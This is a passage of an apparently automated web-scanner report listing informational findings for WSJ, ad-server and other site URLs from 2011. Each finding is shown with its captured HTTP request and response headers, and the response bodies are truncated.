X-DEBUG-REQUEST: //static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24';
X-DEBUG-NAMESPACE: inert-barrons
Accept-Ranges: bytes
Cache-Control: max-age=60
Expires: Sat, 14 May 2011 10:34:45 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 414
Content-Type: text/html

<HTML>
<HEAD>
</HEAD>
<BODY style=margin:0;padding:0>
<script>
var strProtocol = document.location.protocol+"//";
var strAddInEyeSrc = "ds.serving-sys.com/BurstingScript/addineye.js";
if(strPro
...[SNIP]...

28.67. http://online.wsj.com/doubleclick/DARTIframe.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/doubleclick/DARTIframe.html

Request

GET /doubleclick/DARTIframe.html?adParams=53B%25257Esscs%25253D%25253f%26clickN%3D%26type%3DExpandingFlash%26uniqueId%3D1270766769086%26thirdPartyImpUrl%3D%26thirdPartyFlashDisplayUrl%3D%26thirdPartyBackupImpUrl%3D%26surveyUrl%3D%26googleContextDiscoveryUrl%3Dhttp%253A//pagead2.googlesyndication.com/pagead/ads%253Fclient%253Ddclk-3pas-query%2526output%253Dxml%2526geo%253Dtrue%26livePreviewSiteUrl%3D%2525LivePreviewSiteUrl%26servingMethod%3Di%26macro_eenv%3Di%26macro_g%3Dct%253DUS%2526st%253DVT%2526ac%253D802%2526zp%253D05672%2526bw%253D4%2526dma%253D25%2526city%253D17565%26macro_s%3Dinteractive.wsj.com%26macro_eaid%3D235824159%26macro_n%3D3735932%26macro_erid%3D36131941%26macro_ebuy%3D5169727%26macro_ecid%3D36114063%26macro_erv%3D1%26macro_epid%3D29218052%26macro_eadv%3D2214035%26macro_esid%3D264%26macro_ekid%3D0%26csiBaseline%3D1305368651780%26csiAdRespTime%3DNaN%26globalTemplateJs%3Dhttp%253A//s0.2mdn.net/879366/expandingIframeGlobalTemplate_v2_56_02.js&gtVersion=56_02&mediaserver=http%3A//s0.2mdn.net/879366&cid=GlobalTemplate_12707667690861305368651780&index=0 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=377x30;ord=5003500350035003;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; rsi_csl=lA; rsi_segs=G07608_10001; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.2.10.1305367794; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; _chartbeat2=wh4hk9xmdxztvs8m; mbox=session#1305367797515-52119#1305370512|check#true#1305368712

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:41:18 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:41:18 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 2802

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT language=JavaScript>
<!--
   function loadIFrameScript() {
       try {
           var mediaServer = "";
           var globalTemplateVersion = "";
           var searchString = docume
...[SNIP]...

28.68. http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/internal/ModTwitWSJPersonalFin.htm

Request

Response

28.69. http://online.wsj.com/internal/ModTwitWSJRealEstate.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/internal/ModTwitWSJRealEstate.htm

Request

Response

28.70. http://online.wsj.com/static_html_files/MSNSponsoredLinks.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/static_html_files/MSNSponsoredLinks.html

Request

GET /static_html_files/MSNSponsoredLinks.html?adId=30462&adwd=160&adht=600 HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/for-sale/us/10010?sid=56936
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; _chartbeat2=wh4hk9xmdxztvs8m; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.3.10.1305367794; rsi_csl=lA; rsi_segs=G07608_10001; s_cc=true; s_sq=%5B%5BB%5D%5D; s_invisit=true

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:47:44 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:47:44 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 1192

<script type="text/javascript">

</script>
...[SNIP]...

28.71. http://online.wsj.com/static_html_files/WSJThirdParty_Footer_Nav.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/static_html_files/WSJThirdParty_Footer_Nav.html

Request

GET /static_html_files/WSJThirdParty_Footer_Nav.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_invisit=true; _chartbeat2=wh4hk9xmdxztvs8m; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.3.10.1305367794; rsi_csl=lA; rsi_segs=G07608_10001; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:44:21 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:44:21 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 14199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...

28.72. http://online.wsj.com/static_html_files/WSJThirdParty_Header_Nav_Commerce.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/static_html_files/WSJThirdParty_Header_Nav_Commerce.html

Request

GET /static_html_files/WSJThirdParty_Header_Nav_Commerce.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; _chartbeat2=wh4hk9xmdxztvs8m; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.3.10.1305367794; rsi_csl=lA; rsi_segs=G07608_10001

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:43:44 GMT
Server: Apache
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:43:44 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 20639

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...

28.73. https://order.wsj.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://order.wsj.com
Path:	/favicon.ico

Request

Response

28.74. http://ping.chartbeat.net/ping previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ping.chartbeat.net
Path:	/ping

Request

GET /ping?h=marketwatch.com&p=http%3A%2F%2Fwww.marketwatch.com%2F&u=g73giwkwwxj3e1nb&d=marketwatch.com&g=17409&n=1&c=0.52&x=0&y=5687&w=945&j=60&R=0&W=0&I=1&b=22603&t=awe27xmy38fy4pdq&_ HTTP/1.1
Host: ping.chartbeat.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 500 Referrer data required.
Server: nginx/0.7.67
Date: Sat, 14 May 2011 10:19:29 GMT
Content-Type: text/html
Connection: close
Content-Length: 146

<HTML><HEAD>
<TITLE>500 Referrer data required.</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
Invalid method in request<P>
</BODY></HTML>

28.75. http://promos.mcafee.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://promos.mcafee.com
Path:	/favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: promos.mcafee.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E73DAF051D3563-4000012900019997[CE]; session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A; AffID=0; Locale=en%2Dus; lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; campaignid=86873; lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Foffer%2Easp%3Fid%3D266730%26cid%3D86873; langid=1; SiteID=1

Response

HTTP/1.1 404 Not Found
Content-Length: 103
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 12:54:36 GMT

<html><head><title>Error</title></head><body>The system cannot find the path specified.
</body></html>

28.76. http://server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hcp/integration/hackersafe/hackersafe-grey.html

Request

GET /hcp/integration/hackersafe/hackersafe-grey.html HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://server.iad.liveperson.net/hcp/modern/3/online-HS.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LivePersonID=LP i=16101514677756,d=1305377522

Response

HTTP/1.1 200 OK
Content-Length: 1263
Content-Type: text/html
Content-Location: http://server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html
Last-Modified: Sun, 17 Apr 2011 22:34:55 GMT
Accept-Ranges: bytes
ETag: "3e44a2ac4ffdcb1:2ab"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 12:52:03 GMT

<html><head>
<title>Hacker SAFE LivePerson Chat</title>
<style type="text/css">
<!--
.thisChat {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 9px;
font-weight:bold
...[SNIP]...

28.77. http://static.2mdn.net/default.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.2mdn.net
Path:	/default.htm

Request

GET /default.htm HTTP/1.1
Host: static.2mdn.net
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/marketwatch.com/frontpage;u=%5e%5e;sz=250x26;tile=2;ord=1820011674?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 05 Dec 2009 23:03:54 GMT
Date: Fri, 13 May 2011 12:56:43 GMT
Expires: Sat, 14 May 2011 12:56:43 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 76895
Content-Length: 1311

<html>
<body bgcolor=#ffffff>
<b>This is a DoubleClick advertising server.</b>
<p><center>
<a href="http://www.doubleclick.com">
Click here for the DoubleClick home page.</a>
<p>
<a href="http:
...[SNIP]...

28.78. http://topics.wsj.com/api-video/get_video_info.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/api-video/get_video_info.asp

Request

GET /api-video/get_video_info.asp?guid={7A591B4C-215B-4895-A64A-C793AEEBB8A6}&fields=thumbnailURLSmall&cb=1534993 HTTP/1.1
Host: topics.wsj.com
Proxy-Connection: keep-alive
Referer: http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:28 GMT
Server: Microsoft-IIS/6.0
Cache-Control: private, max-age=2592000
Content-Type: text/html
X-Machine: SBK-MW07
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 10:12:28 GMT
Content-Length: 129

{"thumbnailURLSmall": "http:\u002F\u002Fm.wsj.net\u002Fvideo\u002F20110303\u002F030311hubampoll\u002F030311hubampoll_115x65.jpg"}

28.79. http://use.typekit.com/k/uhh2the-e.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://use.typekit.com
Path:	/k/uhh2the-e.css

Request

GET /k/uhh2the-e.css?3bb2a6e53c9684ffdc9a9bf31b5b2a62f8640158474e9a4e257a3362938781107c2321f82aee360d63d8b59ad159efe966579760760edc3ac821b3536248373d007b334a43b36d48f723dced5b3815a55b468a23eed2e563129ff64721d802fd05e366961e0f98a6e5fb0c1ba7a5128716a9abd1c86f667e88ca3006e9271ef5d3f98c93a7187b590b911c62e2e3845d844cac589df994 HTTP/1.1
Host: use.typekit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
Cache-Control: max-age=300
Content-Type: text/html
Date: Sat, 14 May 2011 10:22:05 GMT
Expires: Sat, 14 May 2011 10:27:05 GMT
Server: ECS (dca/5338)
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

28.80. http://www.cerebel.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cerebel.com
Path:	/

Request

GET / HTTP/1.1
Host: www.cerebel.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:23 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 1581
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>CereBel Interactive & CereBel Labs - Community Entertainment Network</TITLE>
<META name=description Contents="CereBel
...[SNIP]...

28.81. http://www.cerebel.com/contact.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cerebel.com
Path:	/contact.php

Request

GET /contact.php HTTP/1.1
Host: www.cerebel.com
Proxy-Connection: keep-alive
Referer: http://www.cerebel.com/greybox/loader_frame.html?s=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:35 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 1380
Content-Type: text/html

<html>
<head>
   <title>Green Central Holdings</title>

   <META name="description" content="Investing in sustainable living.">
   <META name="keywords" content="green, sustainable energy, biofuel, ventu
...[SNIP]...

28.82. http://www.cerebel.com/greenlinks.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cerebel.com
Path:	/greenlinks.ico

Request

GET /greenlinks.ico HTTP/1.1
Host: www.cerebel.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

